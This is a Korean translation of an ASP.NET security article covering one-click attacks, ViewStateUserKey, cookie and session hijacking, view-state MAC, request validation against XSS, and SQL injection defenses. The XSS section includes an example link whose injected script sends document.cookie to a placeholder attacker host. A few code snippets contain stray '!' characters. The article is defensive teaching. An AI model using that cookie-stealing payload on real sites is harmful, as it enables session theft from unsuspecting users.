출처 :
http://blog.daum.net/goodpaper/2036948
ASP.NET 개발자가 항상 수행해야 하는 작업
이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).
이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.
웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.
이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.
이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.
위협 요인
표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.
공격 |
공격을 가능하게 하는 요인 |
교차 사이트 스크립팅(XSS) |
신뢰할 수 없는 사용자 입력이 해당 페이지로 반향됨 |
SQL 주입 |
사용자 입력 내용을 연결하여 SQL 명령을 형성함 |
세션 가로채기 |
세션 ID 추측 및 유출된 세션 ID 쿠키 |
한 번 클릭 |
인식하지 못하는 HTTP 게시가 스크립트를 통해 전송됨 |
숨겨진 필드 변조 |
선택되지 않은(신뢰할 수 있는) 숨겨진 필드가 중요 데이터로 채워져 있음 |
표 1. 일반적인 웹 공격
이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.
- 브라우저의 태그에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS의 변종)에 노출될 수 있습니다.
- 데이터베이스 액세스 작업은 안전하게 수행되어야 합니다. 즉, 계정에 최소한의 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 제한해야 합니다.
- 중요한 데이터는 네트워크를 통해 일반 텍스트 형태로 전송해서는 안 되며 안전하게 서버에 저장되어야 합니다.
흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.
- 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 검사, 변조 방지 방법
- 데이터 액세스 전략: 역할을 사용하여 가장 권한이 적은 계정을 사용하도록 하고 저장 프로시저 또는 적어도 매개 변수화된 명령을 사용합니다.
- 효과적인 저장 및 관리: 클라이언트에 중요한 데이터를 보내지 않고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고 ID를 보호하며, 엄격한 암호 정책을 적용합니다.
아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.
ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.
ViewStateUserKey
ASP.NET 1.1부터 도입된 ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은 Page 클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.
현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.
스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까? ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.
속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉, ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해 한 번 클릭 공격의 기본 사항을 간략하게 검토해 보겠습니다.
한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다.
이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다.
그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.
한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.
- 공격자가 해당 취약 사이트에 대해 잘 알고 있어야 합니다. 이는 공격자가 파일에 대해 "열심히" 연구하거나, 불만이 많은 내부자(예: 해고된 직원 및 부정직한 직원)이기 때문에 가능합니다. 그렇기 때문에 공격자는 매우 위협적인 존재일 수 있습니다.
- 해당 사이트가 Single Sign-On을 구현하기 위해 쿠키(특히 영구 쿠키)를 사용 중이어야 하며 공격자는 유효한 인증 쿠키를 받아서 가지고 있어야 합니다.
- 사이트의 특정 사용자가 중요한 트랜잭션에 관련되어 있습니다.
- 공격자에게 대상 페이지에 대한 액세스 권한이 있어야 합니다.
앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다.
이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).
그림 1. 한 번 클릭 공격
왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.
Page_Load 이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라 IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.
한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?
물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다. EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이 ViewStateUserKey입니다.
속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의 ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?
ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.
다음은 모든 페이지에 있어야 하는 코드입니다.
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID;
:
}
이 코드를 계속 다시 쓰지 않도록 하려면 Page 파생 클래스의 OnInit 가상 메서드에 이를 포함시킵니다. Page.Init 이벤트에서 이 속성을 설정해야 합니다.
protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}
저의 다른 기사인 더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다. aspnetpro.com에서 한 번 클릭 공격자의 기술에 대한 자세한 내용이 수록된 기사를 확인할 수 있습니다.
쿠키와 인증
쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.
쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다.
따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.
쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다.
이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.
너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.
void OnLogin(object sender, EventArgs e) {
// 자격 증명 검사
if (ValidateUser(user, pswd)) {
// 쿠키 만료일 설정
HttpCookie cookie;
cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
if (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);
// 응답에 쿠키 추가
Response.Cookie!s.Add(cookie);
// 리디렉션
string targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)
자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.
세션 가로채기
쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다.
이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은 Theft On The Web: Prevent Session Hijacking 을 참조하십시오.
이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오.
페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다.
이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.
- 시나리오 1. 쇼핑 카트의 내용이 세션 상태에 저장됩니다. 체크 아웃하면 이 내용을 확인하고 보안 SSL 연결을 통해 지불 내역을 입력하도록 사용자에게 요청합니다. 이 경우 다른 사용자의 세션 상태에 연결해도 해커는 공격 대상의 쇼핑 선호도에 대한 정보만을 일부 알 수 있을 뿐입니다. 이러한 상황에서는 가로채기가 수행되어도 실제로는 아무런 손실이 없으며 정보의 기밀 유지에만 위험이 존재합니다.
- 시나리오 2. 응용 프로그램이 등록된 각 사용자의 프로필을 처리하여 세션 상태에 저장합니다. 그런데 이 프로필에는 신용 카드 정보가 포함되어 있습니다. 왜 세션에 사용자 프로필 세부 정보를 저장할까요? 이는 십중팔구 이 응용 프로그램의 목표 중 하나가 사용자가 자신의 신용 카드 및 은행 정보를 계속 반복해서 입력하지 않도록 하는 것이기 때문입니다. 그러므로 체크 아웃하면 응용 프로그램은 내용이 미리 채워진 필드가 있는 페이지로 사용자를 이동시킵니다. 이러한 필드 중 하나에는 세션 상태에서 가져온 신용 카드 번호가 나와 있습니다. 결과는 말씀 안 드려도 아시겠죠?
응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.
ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.
클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.
대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다.
따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.
세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.
저의 Wintellect 동료인 Jeff Prosise가 MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다.
Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은 여기서 확인할 수 있습니다.
EnableViewStateMac
뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다.
공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다.
그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.
그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기
MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다.
두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.
기본적으로 <machineKey> 항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.
뷰 상태 MAC 확인은 @Page 지시문 특성인 EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.
ValidateRequest
교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다.
여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사 Cross-site Scripting Overview를 참조하십시오.
XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?
동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다.
이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location!.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie!);
</script>">Click to claim your prize</a>
사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.
XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다.
그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.
XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인 Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.
잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는 상황도 있습니다.
ASP.NET 1.1에서는 @Page 지시문의 ValidateRequest 특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.
<%@ Page ValidateRequest="false" %>
그러나 ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다. 여기있는 자료를 읽어 보면 이 기능이 실제로 작동하는 방법에 대한 유용한 정보를 얻을 수 있습니다. 이 기능은 기본적으로 정규식을 적용하여 일부 유해할 수 있는 시퀀스를 잡아냅니다.
참고 ValidateRequest 기능에는 원래 결함이 있습니다. 이 기능이 예상대로 작동하도록 하려면 패치를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.
ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>, <b>, <i>, <p>, <br>, <hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.
다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.
- HttpUtility.HtmlEncode를 사용하여 보안상 위험한 기호를 해당 HTML 표현으로 변환합니다.
- HTML 인코딩에서는 큰따옴표만 이스케이프되므로 작은따옴표 대신 큰따옴표를 사용합니다.
- 코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.
요약하자면, ValidateRequest 특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.
데이터베이스 관점
SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은 여기에 나와 있습니다.
다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.
- 모든 사용자 입력이 적절한 형식으로 되어 있고 예상 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에 숫자를 입력해야 하는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다.
- 매개 변수화된 쿼리를 사용하거나 저장 프로시저(권장)를 사용합니다.
- SQL Server 사용 권한을 사용하여 데이터베이스에서 각 사용자가 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell을 해제하거나 관리자만 사용할 수 있도록 제한할 수 있습니다.
저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.
더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.
몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.
원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.
- 최소한의 권한만으로 실행하고 코드를 "sa"로서 실행하지 않아야 합니다.
- 기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
- SQL의 매개 변수화된 쿼리를 적극 사용합니다.
- 문자열 연결을 통해 문을 만들지 않으며 데이터베이스 오류를 반향하지 않습니다.
숨겨진 필드
이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진 <input> 필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NET ViewState 속성에는 다음 두 가지 목적이 있습니다. 첫 번째는 ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.
